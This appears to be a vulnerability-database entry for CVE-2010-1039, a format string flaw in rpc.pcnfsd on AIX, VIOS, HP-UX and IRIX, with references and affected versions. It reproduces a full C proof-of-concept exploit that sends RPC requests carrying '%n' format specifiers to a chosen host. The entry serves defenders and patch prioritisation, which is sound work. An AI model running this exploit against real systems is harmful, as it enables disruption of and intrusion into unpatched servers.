CVE-2010-1039
Description
Format string vulnerability in the _msgout function in rpc.pcnfsd in IBM AIX 6.1, 5.3, and earlier; IBM VIOS 2.1, 1.5, and earlier; NFS/ONCplus B.11.31_09 and earlier on HP HP-UX B.11.11, B.11.23, and B.11.31; and SGI IRIX 6.5 allows remote attackers to execute arbitrary code via an RPC request containing format string specifiers in an invalid directory name.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
rpc.pcnfsd - Remote Format String
/*************************************************************************
* Check Point Software Technologies - Vulnerability Discovery Team (VDT) *
* Rodrigo Rubira Branco - <rbranco *noSPAM* checkpoint.com> *
* *
* rpc.pcnfsd syslog format string vulnerability *
*************************************************************************/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <rpc/rpc.h>
#define PCNFSD_PROG 150001
#define PCNFSD_VERS 1
#define PCNFSD_PR_INIT 2
#define PCNFSD_PR_START 3
struct cm_send {
char *s1;
char *s2;
};
struct cm_send2 {
char *s1;
char *s2;
};
struct cm_reply {
int i;
};
bool_t xdr_cm_send(XDR *xdrs, struct cm_send *objp)
{
if(!xdr_wrapstring(xdrs, &objp->s1))
return (FALSE);
if(!xdr_wrapstring(xdrs, &objp->s2))
return (FALSE);
return (TRUE);
}
bool_t xdr_cm_send2(XDR *xdrs, struct cm_send2 *objp)
{
if(!xdr_wrapstring(xdrs, &objp->s1))
return (FALSE);
if(!xdr_wrapstring(xdrs, &objp->s2))
return (FALSE);
return (TRUE);
}
bool_t xdr_cm_reply(XDR *xdrs, struct cm_reply *objp)
{
if(!xdr_int(xdrs, &objp->i))
return (FALSE);
return (TRUE);
}
int
main(int argc, char *argv[])
{
long ret, offset;
int len, x, y, i;
char *hostname, *b;
CLIENT *cl;
struct cm_send send;
struct cm_send2 send2;
struct cm_reply reply;
struct timeval tm = { 10, 0 };
enum clnt_stat stat;
printf("-= rpc.pcnfsd remote format string exploit, tested against AIX 6.1.0 and lower =-\n");
printf("-= Check Point Software Technologies - Vulnerability Discovery Team (VDT) =-\n");
printf("-= Rodrigo Rubira Branco <rbranco *noSPAM* checkpoint.com> =-\n\n");
if(argc < 2) {
printf("Usage: %s [hostname]\n", argv[0]);
exit(1);
}
hostname = argv[1];
send.s1 = "AAAA%n%n%n%n%n%n%n%n%n"; // Create the dir on /var/spool/pcnfs
send.s2 = "";
send2.s1 = "AAAA%n%n%n%n%n%n%n%n%n";// Call the dir to trigger fmt bug
send2.s2 = "";
printf("\nSending PCNFSD_PR_INIT to the server ... ");
if(!(cl=clnt_create(hostname,PCNFSD_PROG,PCNFSD_VERS,"udp"))){
clnt_pcreateerror("\nerror");exit(-1);
}
stat=clnt_call(cl, PCNFSD_PR_INIT, xdr_cm_send, (caddr_t) &send,
xdr_cm_reply, (caddr_t) &reply, tm);
clnt_destroy(cl);
printf("done!\n");
printf("Sending PCNFSD_PR_START procedure ... ");
if(!(cl=clnt_create(hostname,PCNFSD_PROG,PCNFSD_VERS,"udp"))){
clnt_pcreateerror("\nerror");exit(-1);
}
cl->cl_auth = authunix_create("localhost", 0, 0, 0, NULL);
stat=clnt_call(cl, PCNFSD_PR_START, xdr_cm_send2, (caddr_t) &send2,
xdr_cm_reply, (caddr_t) &reply, tm);
printf("done!\n");
clnt_destroy(cl);
}
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| hp | nfs\/oncplus | {"endIncluding":"b.11.31_09"} | |
| ibm | vios | {"endIncluding":"1.5"} | |
| ibm | vios | 1.4 | |
| ibm | vios | 2.1 | |
References
- http://aix.software.ibm.com/aix/efixes/security/pcnfsd_advisory.asc
- http://marc.info/?l=bugtraq&m=127428077629933&w=2
- http://osvdb.org/64729
- http://secunia.com/advisories/39835
- http://secunia.com/advisories/39911
- http://securitytracker.com/id?1024016
- http://www.checkpoint.com/defense/advisories/public/2010/cpai-13-May.html
- http://www.ibm.com/support/docview.wss?uid=isg1IZ73590
- http://www.ibm.com/support/docview.wss?uid=isg1IZ73599
- http://www.ibm.com/support/docview.wss?uid=isg1IZ73681
- http://www.ibm.com/support/docview.wss?uid=isg1IZ73757
- http://www.ibm.com/support/docview.wss?uid=isg1IZ73874
- http://www.ibm.com/support/docview.wss?uid=isg1IZ75369
- http://www.ibm.com/support/docview.wss?uid=isg1IZ75440
- http://www.ibm.com/support/docview.wss?uid=isg1IZ75465
- http://www.securityfocus.com/archive/1/511405/100/0/threaded
- http://www.securityfocus.com/bid/40248
- http://www.securitytracker.com/id?1023994
- http://www.vupen.com/english/advisories/2010/1199
- http://www.vupen.com/english/advisories/2010/1211
- http://www.vupen.com/english/advisories/2010/1212
- http://www.vupen.com/english/advisories/2010/1213
- http://www14.software.ibm.com/webapp/set2/subscriptions/pqvcmjd?mode=18&ID=5088
- https://exchange.xforce.ibmcloud.com/vulnerabilities/58718
- https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A11986
CWEs
CWE-134
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.